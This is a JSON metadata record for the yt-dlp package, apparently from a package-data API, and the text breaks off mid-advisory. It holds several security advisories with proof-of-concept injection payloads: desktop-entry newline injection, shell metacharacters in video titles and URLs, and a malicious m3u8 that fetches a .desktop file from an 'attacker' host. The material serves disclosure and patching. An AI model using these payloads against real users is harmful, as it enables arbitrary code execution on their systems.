7-1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.07-1/manifests"},{"name":"2021.01.07","sha":"5d0c5371414b8e39b1288cbc80197921c45660b5","kind":"commit","published_at":"2021-01-07T11:52:46.000Z","download_url":"https://codeload.github.com/yt-dlp/yt-dlp/tar.gz/2021.01.07","html_url":"https://github.com/yt-dlp/yt-dlp/releases/tag/2021.01.07","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/yt-dlp/yt-dlp@2021.01.07","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.07","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/yt-dlp%2Fyt-dlp/tags/2021.01.07/manifests"}]},"repo_metadata_updated_at":"2026-10-18T12:25:37.601Z","dependent_packages_count":251,"downloads":12903045,"downloads_period":"last-month","dependent_repos_count":3540,"rankings":{"downloads":0.19018420642483283,"dependent_repos_count":0.17302027908151288,"dependent_packages_count":0.123919894076116,"stargazers_count":0.012823623877193085,"forks_count":0.08542506367422471,"docker_downloads_count":0.6256673620719261,"average":0.20184007153430095},"purl":"pkg:pypi/yt-dlp","advisories":[{"uuid":"GSA_kwCzR0hTQS02djRqLTQzZ2ctdmozMs4ABfsU","url":"https://github.com/advisories/GHSA-6v4j-43gg-vj32","title":"yt-dlp: Downstream command injection via improper sanitization of yt-dlp --write-link output","description":"### Summary\nIf the `--write-link`, `--write-url-link` or `--write-desktop-link` options are used with yt-dlp, it may produce output that can lead to downstream remote code execution. An attacker can craft a malicious metadata payload to achieve arbitrary command injection in the `.url` and `.desktop` shortcut files written by yt-dlp. This allows for malicious shell commands or malicious remote executables to run on the user's system if the user executes the generated `.url` or `.desktop` files.\n\n### Details\nThe expected result of yt-dlp's `--write-link`, `--write-url-link` and `--write-desktop-link` options is to write a shortcut file that points to the webpage URL for the content downloaded by yt-dlp. The `--write-url-link` option writes a `.url` shortcut file for Windows, the `--write-desktop-link` option writes a `.desktop` shortcut file for Linux, and the `--write-link` option may write a `.url` file or a `.desktop` file depending on the user's platform.\n\nThere are two known scenarios where a remote attacker could serve a malicious metadata payload to exploit yt-dlp's improper validation/sanitization of its shortcut output and achieve arbitrary code execution if the user later opens these files.\n\n#### Scenario 1: `file://` URI injection in Windows `.url` shortcut\n\nIf a yt-dlp user passes the `--write-link` or `--write-url-link` option to generate a Windows `.url` file, the URL written to the shortcut file is sourced from the downloaded media's metadata--specifically, its `webpage_url` value. This value is commonly a normalized version of the input URL passed to yt-dlp by the user, but in some cases it may be extracted from untrusted web input. Validation of this `webpage_url` value is performed if it is fed back to yt-dlp as an input URL (e.g. via the `--load-info-json` option), but no validation is performed before it is output to a `.url` shortcut file.\n\nThis lack of validation is exploitable by a remote attacker who crafts a malicious metadata payload such that the resulting `webpage_url` value is a `file://` URI. A malicious file URI could point to a remote executable, e.g. `file://example.org/pwned.exe`. If a Windows user double-clicks a `.url` file that points to this `webpage_url`, Windows will execute the malicious remote executable on the user's system.\n\n#### Scenario 2: Shell command injection in Linux `.desktop` shortcut\n\nThe Linux `.desktop` file format is a more versatile than the Windows `.url` file format. It is defined by the freedesktop.org \"desktop entry\" file specification, and supports multiple types of shortcuts: a `Link` type for URLs, a `Directory` type for filesystem folders, and an `Application` type for programs or shell commands. yt-dlp outputs a desktop entry file of the `Link` type, using the template below:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=%(filename)s\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nThe keys under the `[Desktop Entry]` group are separated by newlines, and the type of desktop entry is set by the value paired to the `Type` key.\n\nIf a yt-dlp user passes the `--write-link` or `--write-desktop-link` option to generate a desktop entry file, in addition to the `webpage_url` value there is a `filename` value that is written to the shortcut file. By default, yt-dlp will sanitize the `filename` value: this sanitization includes replacing newlines with spaces and removing other control characters. However, the `--no-windows-filenames` option was modified in yt-dlp version 2024.12.23 to disable this default filename sanitization when used. \n\nIf the user passes `--write-link` or `--write-desktop-link` together with `--no-windows-filenames` to yt-dlp, an unsanitized `filename` value can be written to the resulting desktop entry file. A remote attacker can exploit this lack of sanitization by crafting a malicious metadata payload such that the resulting `filename` value contains newline characters, which can be used to inject arbitrary groups, keys and values into the desktop entry output. Doing so allows the attacker to change the `Type` of the desktop entry to `Application` and achieve shell command injection.\n\nFor example, an attacker-controlled website could serve a webpage with this maliciously crafted JSON-LD data:\n\n```html\n\u003chtml\u003e\n\u003cscript type=\"application/ld+json\"\u003e{\n    \"@context\": \"https://schema.org\",\n    \"@type\": \"VideoObject\",\n    \"name\":\"Stream\\nType=Application\\nExec=sh -c \u0026quot;touch /tmp/pwned\u0026quot;\\n\\n[newgroup]\\nName=endtitle\",\n    \"contentUrl\": \"https://example.org/video.mp4\"\n}\u003c/script\u003e\n\u003c/html\u003e\n```\n\nThen, a yt-dlp user could try to download the legitimate video content from the page by running the following command:\n\n```bash\nyt-dlp --write-desktop-link --no-windows-filenames \"https://example.org/123\"\n```\n\nWhich would result in a desktop entry file containing a malicious shell command:\n\n```desktop\n[Desktop Entry]\nEncoding=UTF-8\nName=Stream\nType=Application\nExec=sh -c \"touch /tmp/pwned\"\n\n[newgroup]\nName=endtitle [123]\nType=Link\nURL=%(url)s\nIcon=text-html\n```\n\nIf a user on a Linux desktop environment executes the generated `.desktop` file, the malicious shell command would run on the user's system. (In the above example, a `/tmp/pwned` file would be created in the user's filesystem.)\n\n### Patches\nyt-dlp version 2026.07.04 fixes this issue by validating the URL scheme before any shortcut file is written, and by properly sanitizing all desktop entry values written to the `.desktop` file generated from using the `--write-desktop-link` or `--write-link` options. (Most notably: newline characters are replaced by their proper escape sequence per the freedesktop.org desktop entry specification.)\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.07.04 as soon as possible.\n\nUsers who are not able to upgrade should avoid using any of the `--write-link`, `--write-url-link` or `--write-desktop-link` options.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T20:35:25.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-6v4j-43gg-vj32","https://nvd.nist.gov/vuln/detail/CVE-2026-55404","https://github.com/yt-dlp/yt-dlp/commit/6fc85f617a5850307fd5b258477070e6ee177796","https://github.com/yt-dlp/yt-dlp/commit/b6590aaa1e3808155d69c9a79a797ae484163789","https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.07.04.221833","https://github.com/yt-dlp/yt-dlp/releases/tag/2026.07.04","https://github.com/advisories/GHSA-6v4j-43gg-vj32"],"source_kind":"github","identifiers":["GHSA-6v4j-43gg-vj32","CVE-2026-55404"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T21:00:08.731Z","updated_at":"2026-10-24T21:01:44.831Z","epss_percentage":0.0064,"epss_percentile":0.49544,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djRqLTQzZ2ctdmozMs4ABfsU","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02djRqLTQzZ2ctdmozMs4ABfsU","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2026.7.4","vulnerable_version_range":"\u003c 2026.7.4"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djRqLTQzZ2ctdmozMs4ABfsU/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02OXFqLXB2aDktYzV3Z84ABY2P","url":"https://github.com/advisories/GHSA-69qj-pvh9-c5wg","title":"yt-dlp: Arbitrary command injection possible if --exec option used with yt-dlp","description":"### Summary\nyt-dlp's `--exec` option is vulnerable to arbitrary command injection when handling untrusted metadata if the argument uses standard string formatting (e.g. `%(title)s`) or other unsafe conversions. An attacker could achieve remote code execution on the user's machine via maliciously crafted metadata containing quotes or other special shell characters.\n\n### Details\nSince yt-dlp version 2021.04.11, the `--exec` option has supported \"output template syntax\", which is a superset of Python's `printf`-style string formatting also used by the `--output` option. This means the user is able to pass a \"command template\" as an argument to the `--exec` option which will be executed by the user's shell. The command template allows for the downloaded video's metadata to be interpolated into the command string.\n\nyt-dlp implements a `%()q` conversion, which will shell-quote/escape any metadata value such that it is safe to be interpolated into a command string. However, there are unsafe conversions such as `%()s` which result in the command template being formatted with the raw metadata string. These unsafe conversions do not perform any sanitization or escaping for shell contexts. If one or more of these unsafe conversions is used in the command template, an attacker can craft a malicious metadata value containing shell operators (e.g. `;`, `\u0026`, `|`) to break out of the intended command and execute payload commands.\n\n### Impact\n\nThe impact is limited to users who pass an `--exec` command template containing unsafe conversions in their yt-dlp command or configuration file: `%()s`, `%()a`, `%()r`, `%()j`, `%()S` (including any of their flagged variants.)\n\n### Patches\n\nyt-dlp version 2026.06.09 fixes this issue by restricting the conversions that can be used in an `--exec` command template to those known to be safe: `%()d`, `%()i`, `%()f`, `%()q` (including any of their flagged variants.) It also restricts the characters that can be used in command template defaults and placeholders when the user passes an `--exec` argument containing output template syntax.\n\n### Workarounds\n\nThis vulnerability can be fully mitigated by doing any of the following:\n\n- Upgrade yt-dlp to version 2026.06.09 or later\n- Only use safe conversions (e.g. `%()d`, `%()i`, `%()f`, `%()q`) in any `--exec` command templates\n- Do not use \"output template syntax\" in any `--exec` arguments\n- Do not use the `--exec` option\n\n### Proof-of-Concept\n\n1. An attacker sets the title of a video to a malicious payload, e.g.: `video; touch pwned.txt #`\n2. The victim downloads this video using yt-dlp with the `--exec` flag.\n\nReproduction steps (simulated):\n1.  Create a python script poc.py to simulate the internal behavior:\n\n```bash\nimport unittest\nimport os\n\nfrom yt_dlp.postprocessor.exec import ExecPP\nfrom yt_dlp.YoutubeDL import YoutubeDL\nfrom yt_dlp.utils import PostProcessingError\n\n# Import Popen to use the REAL one for the PoC (to actually create the file)\nfrom yt_dlp.utils import Popen as RealPopen\n\nclass TestDemonstrativePoC(unittest.TestCase):\n    FILE_NAME = \"PWNED.txt\"\n\n    def setUp(self):\n        # Remove the file if it exists\n        if os.path.exists(self.FILE_NAME):\n            os.remove(self.FILE_NAME)\n\n    def test_1_demonstrate_vulnerability_simulated(self):\n        \"\"\"\n        Simulates the code BEFORE the fix to show what would happen.\n        \"\"\"\n        print(\"\\n--- TEST 1: Simulating vulnerable state ---\")\n\n        # 1. Define the vulnerable Parse Method\n        def vulnerable_parse_cmd(self, cmd, info):\n            # This mimics the code before my patch\n            tmpl, tmpl_dict = self._downloader.prepare_outtmpl(cmd, info)\n            if tmpl_dict:\n                return self._downloader.escape_outtmpl(tmpl) % tmpl_dict\n            return cmd\n\n        # 2. Patch the class temporarily\n        original_parse_cmd = ExecPP.parse_cmd\n        ExecPP.parse_cmd = vulnerable_parse_cmd\n\n        info = {\n            'id': '1234',\n            # MALICIOUS TITLE:\n            # 1. 'video' gets echoed\n            # 2. ; separator\n            # 3. touch PWNED.txt creates the file\n            # 4. # comments out the rest\n            'title': f'video; touch {self.FILE_NAME} #',\n            'ext': 'mp4',\n            'filepath': 'video.mp4'\n        }\n\n        ydl = YoutubeDL({'verbose': False, 'quiet': True})\n\n        try:\n            print(f\"[*] Payload Title: {info['title']}\")\n            print(\"[*] Executing: echo %(title)s\")\n\n            # Use the REAL Popen to actually execute shell commands\n            import yt_dlp.postprocessor.exec\n            original_popen_ref = yt_dlp.postprocessor.exec.Popen\n            yt_dlp.postprocessor.exec.Popen = RealPopen\n\n            pp = ExecPP(ydl, 'echo %(title)s')\n            pp.run(info)\n\n            # Restore Popen ref\n            yt_dlp.postprocessor.exec.Popen = original_popen_ref\n\n            # Check if file was created\n            if os.path.exists(self.FILE_NAME):\n                print(f\"[!] VULNERABILITY CONFIRMED: File '{self.FILE_NAME}' was created on disk!\")\n            else:\n                print(\"[?] File not created. Payload might have failed.\")\n\n        finally:\n            # Restore the secure method\n            ExecPP.parse_cmd = original_parse_cmd\n\nif __name__ == '__main__':\n    unittest.main()\n```\n2. Run the script: `python3 poc.py`\n3. Check the directory. A file named `PWNED.txt` will be created, proving arbitrary command execution.\n\n\u003cimg width=\"1386\" height=\"757\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/b21a1dd9-f86d-4836-861b-7e880f639c08\" /\u003e","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T22:29:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-69qj-pvh9-c5wg","https://github.com/yt-dlp/yt-dlp/pull/16883","https://github.com/yt-dlp/yt-dlp/commit/5faffa999fd33b373d47773e8ee639d072accec2","https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.06.234447","https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09","https://github.com/advisories/GHSA-69qj-pvh9-c5wg"],"source_kind":"github","identifiers":["GHSA-69qj-pvh9-c5wg"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T23:00:08.451Z","updated_at":"2026-10-24T21:02:40.192Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OXFqLXB2aDktYzV3Z84ABY2P","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02OXFqLXB2aDktYzV3Z84ABY2P","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2026.6.9","vulnerable_version_range":"\u003e= 2021.4.11, \u003c 2026.6.9"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OXFqLXB2aDktYzV3Z84ABY2P/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS12eDRxLTNjcjItN2NnMs4ABY04","url":"https://github.com/advisories/GHSA-vx4q-3cr2-7cg2","title":"yt-dlp: Arbitrary code execution via manifest downloads with aria2c","description":"### Summary\nIf aria2c is used as an external downloader for a fragmented manifest format (such as an HLS/DASH stream), yt-dlp passes insufficiently sanitized input to aria2c that allows an attacker to perform an arbitrary file write. On Windows platforms, this can lead to immediate arbitrary code execution. On non-Windows platforms, this can lead to arbitrary code execution upon the next invocation of yt-dlp.\n\n### Details\nWhen downloading a fragmented manifest format such as an HLS or DASH stream, yt-dlp first extracts a list of all fragment URLs from the stream's manifest. If the user has selected aria2c as an external downloader, yt-dlp then constructs an input file for aria2c from the fragment URL list and passes its filepath as the argument to aria2c's `-i` option.\n\naria2c's `-i` (or `--input-file`) option allows for downloading a list of URIs from the given text file. The text file must be formatted as a list of URIs separated by newlines. aria2c's format permits configuration lines for each URI, which can contain command-line options to be given to aria2c. These optional lines follow each URI line and are signified only by leading whitespace. yt-dlp constructs the input file with these optional lines so that it's able to specify the output filename for each fragment using the `out=` option.\n\nyt-dlp's utilization of the aria2c input file format presents two known attack vectors:\n\n1. An attacker can craft a malicious DASH manifest with one or more fragment URLs that contain `\u0026#10;`, which is the HTML escape sequence for a newline. yt-dlp interprets this escape sequence as an actual newline character when writing the fragment URLs to the aria2c input file, which allows for an attacker to inject arbitrary aria2c options into the input file. With option injection, the attacker can achieve arbitrary file writes. This attack vector is possible only via downloads of DASH formats, since their manifests are an XML format which necessitates unescaping of HTML special characters.\n\n2. An attacker can craft a malicious metadata response where the data parsed by yt-dlp as the `title` field (or any other metadata field that the user includes in their output template) contains strategically placed newlines and magnet URIs. If the user has passed the `--no-windows-filename` option to disable sanitization of newlines in output filenames, the attacker is able to achieve arbitrary file writes by injecting arbitrary URIs and options into the aria2c input file. This attack vector is possible via downloads of both HLS and DASH formats.\n\nOn Windows, attacker-controlled file writes can lead to immediate arbitrary code execution: the attacker could write a malicious executable file named `ffmpeg.exe` to the current working directory, and it could be invoked during the postprocessing stage if the user's `yt-dlp.exe` also resides in the current working directory.\n\nOn all platforms, attacker-controlled file writes can lead to arbitrary code execution on repeat invocations of yt-dlp: the attacker could write a yt-dlp configuration file (`yt-dlp.conf`) to the current working directory containing a malicious `--exec` argument.\n\n### Patches\nyt-dlp version 2026.06.09 fixes this issue by removing support for downloading fragmented manifest formats with aria2c.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.\n\nFor users who are not able to upgrade:\n\n- Add `--downloader dash,m3u8:native` to your yt-dlp command.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T21:13:47.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-vx4q-3cr2-7cg2","https://github.com/yt-dlp/yt-dlp/commit/25056f0d2d47adbd235a8d422fa62d68d0be2bc2","https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517","https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09","https://nvd.nist.gov/vuln/detail/CVE-2026-50574","https://github.com/advisories/GHSA-vx4q-3cr2-7cg2","https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3433.yaml","https://github.com/yt-dlp/yt-dlp","https://pypi.org/project/yt-dlp"],"source_kind":"github","identifiers":["GHSA-vx4q-3cr2-7cg2","CVE-2026-50574"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T22:00:08.909Z","updated_at":"2026-10-24T21:02:41.488Z","epss_percentage":0.00465,"epss_percentile":0.38673,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12eDRxLTNjcjItN2NnMs4ABY04","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12eDRxLTNjcjItN2NnMs4ABY04","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2026.6.9","vulnerable_version_range":"\u003c 2026.6.9"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12eDRxLTNjcjItN2NnMs4ABY04/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jNm1oLWZwamMtNHByM84ABY0x","url":"https://github.com/advisories/GHSA-c6mh-fpjc-4pr3","title":"yt-dlp: Dangerous file type creation via insufficient filename sanitization (Bypass of CVE-2024-38519)","description":"### Summary\nA vulnerability exists in yt-dlp that allows a remote attacker to write arbitrary OS-shortcut files (such as `.desktop`, `.url`, `.webloc`) to the user's filesystem, bypassing the remediation for `CVE-2024-38519`. \n\n### Details\nThe fix for `CVE-2024-38519` enforced an allowlist for file extensions, in order to prevent writing files with unsafe extensions (such as `.exe` or `.sh`) during file downloads. However, this allowlist explicitly included the unsafe extensions `.desktop`, `.url`, and `.webloc` so that the functionality of the `--write-link` option (and its variants) could be preserved. These allowlist inclusions can be exploited by an attacker to write malicious OS-shortcut files in the context of a media or subtitles download.\n\nNumerous yt-dlp extractors derive the downloaded media or subtitles file extension from a potentially attacker-controlled source. An attacker could craft an m3u8 file that contains an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a malicious URI (e.g., `URI=\"http://attacker/x.desktop\"`), which would result in yt-dlp writing the attacker-controlled content to a file with a `.desktop` extension if the user had passed the `--write-subs` option.\n\nWriting OS-shortcut files next to downloaded videos provides a high-probability social engineering vector. The extension of the shortcut file is often hidden from the user, e.g. on Windows by default or on many Linux desktop environments. \n\nWhile these shortcut files are typically used to point to web locations via URLs, they can also contain shell commands or point to remote executables. The user may be deceived into opening the malicious shortcut disguised as a \"subtitles\"/media file, leading to a phishing attack or arbitrary code execution.\n\n### Proof of Concept\n**1. Start a malicious server:**\nHost a malicious `master.m3u8` manifest that points to malicious subtitle payloads:\n```m3u8\n#EXTM3U\n#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID=\"subs\",NAME=\"English\",URI=\"http://attacker/payload.desktop\",LANGUAGE=\"en\"\n```\nAnd host the `payload.desktop` file with malicious content:\n```ini\n[Desktop Entry]\nType=Application\nExec=sh -c \"touch /tmp/ytdlp_pwned_$(id -u)\"\nName=Subtitle\n```\n\n**2. Trigger the download:**\nIn this case, the generic extractor triggers the exploit if the `--write-subs` option is used:\n```bash\nyt-dlp --write-subs -o \"MyVideo.%(ext)s\" \"http://attacker/master.m3u8\"\n```\n\n**Result:** yt-dlp writes `MyVideo.en.desktop` to disk, containing the attacker payload.\n\n### Patches\nyt-dlp version 2026.06.09 fixes this issue by removing `.url`, `.desktop` and `.webloc` from the global file extension allowlist, and by only allowing those file types to be written from within the context of the `--write-link` options' functionality.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.\n\nUsers who are not able to upgrade should do ALL of the following:\n\n- Only pass fully **trusted** input URLs to yt-dlp\n- Do not use the `--write-subs`, `--write-auto-subs`, `--embed-subs`, `--write-thumbnail`, `--write-all-thumbnails`, or `--embed-thumbnail` options\n- Use `--format -` to interactively select download formats and validate their file extensions","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-16T20:59:42.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.3,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-c6mh-fpjc-4pr3","https://nvd.nist.gov/vuln/detail/CVE-2024-38519","https://github.com/yt-dlp/yt-dlp/commit/e578e265f7c6ca94a74b30e0d8d6196a4d19fb6a","https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517","https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09","https://nvd.nist.gov/vuln/detail/CVE-2026-50023","https://github.com/advisories/GHSA-c6mh-fpjc-4pr3","https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3430.yaml","https://github.com/yt-dlp/yt-dlp","https://pypi.org/project/yt-dlp"],"source_kind":"github","identifiers":["GHSA-c6mh-fpjc-4pr3","CVE-2026-50023"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T21:00:09.304Z","updated_at":"2026-10-24T21:02:41.490Z","epss_percentage":0.00665,"epss_percentile":0.50636,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNm1oLWZwamMtNHByM84ABY0x","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jNm1oLWZwamMtNHByM84ABY0x","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2026.6.9","vulnerable_version_range":"\u003c 2026.06.09"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jNm1oLWZwamMtNHByM84ABY0x/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mN2ozLTc3NGYtcmZoas4ABY0w","url":"https://github.com/advisories/GHSA-f7j3-774f-rfhj","title":"yt-dlp: File Downloader cookie leak with curl ","description":"### Summary\nIf curl is used an external downloader for yt-dlp, cookies may be leaked to an unintended host upon HTTP redirect or when the host for download fragments differs from their parent manifest's.\n\nThis is the equivalent to [GHSA-v8mc-9377-rwjj](\u003chttps://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-v8mc-9377-rwjj\u003e) for the `curl` downloader. The vulnerable behavior is present in [yt-dlp](https://github.com/yt-dlp/yt-dlp) released since 2023.09.24.\n\n### Details\nAt the file download stage, the cookies are passed by yt-dlp to the file downloader via `--cookie`. However, unless these are loaded from a file, this operation does not activate the cookie engine. As a result, `curl` will send cookies with requests to domains or paths for which the cookies are not scoped.\n\nAn example of a potential attack scenario exploiting this vulnerability:\n1. an attacker has crafted a malicious website with an embedded URL designed to be detected by yt-dlp as a video download. This embedded URL has the domain of a trusted site that the user has loaded cookies for, and conducts an [unvalidated redirect](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html) to a target URL.\n2. yt-dlp extracts this URL and calculates the cookies which are then passed to `curl`.\n3. the download URL redirects to a server controlled by the attacker, to which `curl` forwards the user's sensitive cookie information.\n\n### Patches\nyt-dlp version 2026.06.09 fixes this issue by doing the following:\n\n- Pass the cookies through stdin via `--cookie -` if `curl` is version 7.59 or higher.\n- Pass the cookies via `--cookie /dev/fd/0` if the system supports this device file.\n- In all other cases create a temporary file, save the cookies and then pass via `--cookie \u003cfile\u003e`.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.06.09 as soon as possible.\n\nFor users who are not able to upgrade:\n\n- Do not use `--downloader curl`.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-16T20:16:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.1,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N","references":["https://github.com/yt-dlp/yt-dlp/security/advisories/GHSA-f7j3-774f-rfhj","https://github.com/yt-dlp/yt-dlp/commit/2726572520238356bcf64aba2040228648b44c82","https://github.com/yt-dlp/yt-dlp-nightly-builds/releases/tag/2026.06.09.230517","https://github.com/yt-dlp/yt-dlp/releases/tag/2026.06.09","https://nvd.nist.gov/vuln/detail/CVE-2026-50019","https://github.com/advisories/GHSA-f7j3-774f-rfhj","https://github.com/pypa/advisory-database/tree/main/vulns/yt-dlp/PYSEC-2026-3431.yaml","https://github.com/yt-dlp/yt-dlp","https://pypi.org/project/yt-dlp"],"source_kind":"github","identifiers":["GHSA-f7j3-774f-rfhj","CVE-2026-50019"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-16T21:00:09.304Z","updated_at":"2026-10-24T21:02:41.491Z","epss_percentage":0.00319,"epss_percentile":0.23619,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mN2ozLTc3NGYtcmZoas4ABY0w","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mN2ozLTc3NGYtcmZoas4ABY0w","packages":[{"ecosystem":"pypi","package_name":"yt-dlp","versions":[{"first_patched_version":"2026.6.9","vulnerable_version_range":"\u003e= 2023.9.24, \u003c 2026.6.9"}],"purl":"pkg:pypi/yt-dlp"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mN2ozLTc3NGYtcmZoas4ABY0w/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nM2d3LXEyM3ItcGdxbc4ABSv2","url":"https://github.com/advisories/GHSA-g3gw-q23r-pgqm","title":"yt-dlp: Arbitrary Command Injection when using the `--netrc-cmd` option","description":"### Summary\nWhen yt-dlp's `--netrc-cmd` command-line option (or `netrc_cmd` Python API parameter) is used, an attacker could achieve arbitrary command injection on the user's system with a maliciously crafted URL.\n\n### Impact\nyt-dlp maintainers assume the impact of this vulnerability to be high for anyone who uses `--netrc-cmd` in their command/configuration or `netrc_cmd` in their Python scripts. Even though the maliciously crafted URL itself will look very suspicious to many users, it would be trivial for a maliciously crafted webpage with an inconspicuous URL to covertly exploit this vulnerability via HTTP redirect. Users without `--netrc-cmd` in their arguments or `netrc_cmd` in their scripts are unaffected. No evidence has been found of this exploit being used in the wild.\n\n### Patches\nyt-dlp version 2026.02.21 fixes this issue by validating all netrc \"machine\" values and raising an error upon unexpected input.\n\n### Workarounds\nIt is recommended to upgrade yt-dlp to version 2026.02.21 as soon as possible.\n\nUsers who are unable to upgrade should avoid using the `--netrc-cmd` command-line option (or `netrc_cmd` Python API parameter), or they should at least not pass a placeholder (`{}`) in their `--netrc-cmd` argument.\n\n### Details\nyt-dlp's `--netrc-cmd` option can be used to run any arbitrary shell command to retrieve site login credentials so that the user doesn't have to store the credentials as plaintext in the filesystem. The `--netrc-cmd` argument is a shell command with an optional placeholder (`{}`). If the placeholder is present in the argument, it is replaced with the netrc \"machine\" value, which specifies the site for which login credentials are needed.\n\nThe netrc \"machine\" value is usually explicitly defined in yt-dlp's extractor code for a given site. However, yt-dlp has four extractors where the netrc \"machine\" value needs to be dynamically sourced from the site's hostname. And in three of those extractors (`GetCourseRuIE`, `TeachableIE` and `TeachableCourseIE`), wildcard matches are allowed for one or more subdomains of the hostname. This can result in a netrc \"machine\" value that contains special shell characters.\n\nThe `--netrc-cmd` argument is executed by a modified version of Python's `subprocess.Popen` with `shell=True`, which means that any special characters may be interpreted by the host shell, potentially leading to arbitrary command injection.\n\nHere is an example of maliciously crafted URL input that exploits the vulnerability:\n\n```cmd\n\u003e yt-dlp --netrc-cmd \"echo {}\" \"https://;echo pwned\u003e\u00262;#.getcourse.ru/video\"\n[GetCourseRu] Executing command: echo getcourseru\nWARNING: [GetCourseRu] Failed to parse .netrc: bad toplevel token 'getcourseru' (-, line 2)\n[GetCourseRu] Extracting URL: https://;echo pwned\u003e\u00262;#.getcourse.ru/video\n[GetCourseRu] Executing command: echo ;echo pwned\u003e\u00262;\npwned\n[GetCourseRu] No authenticators for ;echo pwned\u003e\u00262;\n[GetCourseRu] video: Downloading webpage\n```\n\nAlthough only 3 of yt-dlp's extractors are directly susceptible to this attack, yt-dlp's \"generic\" extractor will follow HTTP redirects and try to match the resulting URL with one of the dedicated extractors. This means that any URL processed by the generic extractor could ultimately lead to a maliciously crafted URL that is matched by one of the vulnerable extractors. 